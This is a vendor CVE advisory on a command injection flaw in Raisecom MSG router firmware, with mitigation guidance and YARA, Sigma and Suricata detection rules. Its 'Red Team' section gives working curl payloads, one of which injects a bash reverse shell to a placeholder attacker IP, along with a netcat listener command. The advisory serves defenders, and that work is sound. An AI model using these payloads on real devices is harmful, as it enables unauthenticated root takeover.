CVE-2024-7469
Executive Summary
CVE-2024-7469 is a critical OS command injection vulnerability affecting Raisecom MSG1200, MSG2100E, MSG2200, and MSG2300 devices running firmware version 3.90. The flaw resides in the sslvpn_config_mod function within the /vpn/list_vpn_web_custom.php file of the web interface. By manipulating the template or stylenum parameters, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The vendor has not responded to disclosure, and no patch is currently available. Public exploit code has been released, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any package ecosystem (NPM, PyPI, Go, Ruby). It affects embedded network devices (Routers/CPEs) from Raisecom. The supply chain risk is limited to the device firmware itself, which is not distributed via standard package registries.
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low – No special conditions are required; the attack is straightforward.
- Privileges Required (PR): None – No authentication is needed.
- User Interaction (UI): None – The victim does not need to perform any action.
- Scope (S): Unchanged – The exploit affects only the vulnerable component.
- Confidentiality (C): High – Full read access to device files and network traffic.
- Integrity (I): High – Full write access to device configuration and filesystem.
- Availability (A): High – Ability to crash the device or disrupt services.
Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using these Raisecom devices.
Deep Dive & Mechanics
The vulnerability is an OS command injection in the sslvpn_config_mod function of the web interface. The file /vpn/list_vpn_web_custom.php processes user-supplied parameters template and stylenum without proper sanitization. These parameters are likely used to construct a system command (e.g., to copy or process template files). An attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.
Root Cause: The application directly concatenates user input into a shell command string without escaping or validation. For example, a vulnerable code snippet might look like:
system("cp /templates/$template /tmp/");
An attacker can set template to ;id to execute the id command.
Attack Flow:
- Attacker sends a crafted HTTP POST request to
/vpn/list_vpn_web_custom.phpwith malicioustemplateorstylenumparameters. - The server executes the injected command with the privileges of the web server (often root).
- The attacker gains a reverse shell, executes arbitrary commands, or exfiltrates data.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. A secure implementation would use parameterized functions or proper escaping.
Vulnerable Code (Conceptual):
<?php
$template = $_POST['template'];
$command = "cp /templates/$template /tmp/";
system($command);
?>
Patched Code (Conceptual):
<?php
$template = $_POST['template'];
// Validate input: only allow alphanumeric and underscore
if (preg_match('/^[a-zA-Z0-9_]+$/', $template)) {
$command = "cp /templates/$template /tmp/";
system($command);
} else {
die("Invalid input");
}
?>
A more robust fix would avoid shell commands entirely and use PHP functions like copy() with validated paths.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target Raisecom device with firmware 3.90 and web interface accessible.
- Network connectivity to the device.
Exploit Payload:
# Reverse shell payload (replace YOUR_IP and YOUR_PORT)
curl -X POST http://<target>/vpn/list_vpn_web_custom.php \
-d "template=;bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'&stylenum=1"
Step-by-Step:
- Set up a netcat listener:
nc -lvnp YOUR_PORT - Send the exploit request using curl or a script.
- Receive the reverse shell as root.
Alternative Payload (Command Execution):
curl -X POST http://<target>/vpn/list_vpn_web_custom.php \
-d "template=;id&stylenum=1"
Blue Team (Detection & Hardening)
Immediate Actions:
- Isolate affected devices from the internet and untrusted networks.
- Monitor for suspicious POST requests to
/vpn/list_vpn_web_custom.php. - Implement WAF rules to block common command injection patterns.
Hardening Steps:
- Disable the web interface if not required.
- Restrict access to the web interface via firewall rules (allow only trusted IPs).
- Apply vendor patches when available.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/vpn/list_vpn_web_custom.phpwith parameters containing shell metacharacters (;,|,&&,$()). - Outbound connections from the device to unusual IPs/ports (e.g., reverse shell traffic).
- Unusual DNS queries from the device.
File System IOCs:
- Unexpected files in
/tmp/or/var/tmp/. - Modified configuration files in
/vpn/or/etc/. - Presence of web shells or backdoor scripts.
Process IOCs:
- Unusual processes spawned by the web server (e.g.,
bash,nc,python). - High CPU usage from shell processes.
Detection Engineering
YARA Rule
rule CVE_2024_7469_Command_Injection {
meta:
description = "Detects command injection attempts targeting Raisecom devices"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-7469"
strings:
$injection1 = "template="
$injection2 = "stylenum="
$shell_meta = /[;&|`$(){}]/
condition:
all of ($injection*) and $shell_meta
}
Sigma Rule
title: Detect Command Injection in Raisecom Web Interface
id: 3a4b5c6d-7e8f-9a0b-1c2d-3e4f5a6b7c8d
status: experimental
description: Detects HTTP POST requests to /vpn/list_vpn_web_custom.php with command injection patterns
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/vpn/list_vpn_web_custom.php'
cs-uri-query|contains:
- 'template=;'
- 'template=|'
- 'template=&'
- 'stylenum=;'
- 'stylenum=|'
- 'stylenum=&'
condition: selection
falsepositives:
- Legitimate use of semicolons in parameters (unlikely)
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2024-7469 - Raisecom Command Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/vpn/list_vpn_web_custom.php"; http_uri;
pcre:"/(template|stylenum)=[^&]*[;&|`$]/i";
sid:1000001;
rev:1;
priority:1;
)
Remediation & Mitigation
Immediate Mitigation:
- Network Segmentation: Isolate Raisecom devices on a separate VLAN with strict firewall rules.
- Access Control: Restrict access to the web interface to only trusted administrative IPs.
- WAF Rules: Deploy web application firewall rules to block command injection patterns.
- Monitor: Enable logging and monitor for exploitation attempts.
Long-Term Remediation:
- Vendor Patch: Contact Raisecom for a firmware update. If unavailable, consider replacing the device.
- Code Review: If source code is available, implement input validation and avoid shell commands.
- Upgrade: Migrate to supported devices with active security maintenance.
Workaround:
- Disable the SSL VPN web interface if not essential.
- Use a reverse proxy with input sanitization in front of the device.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert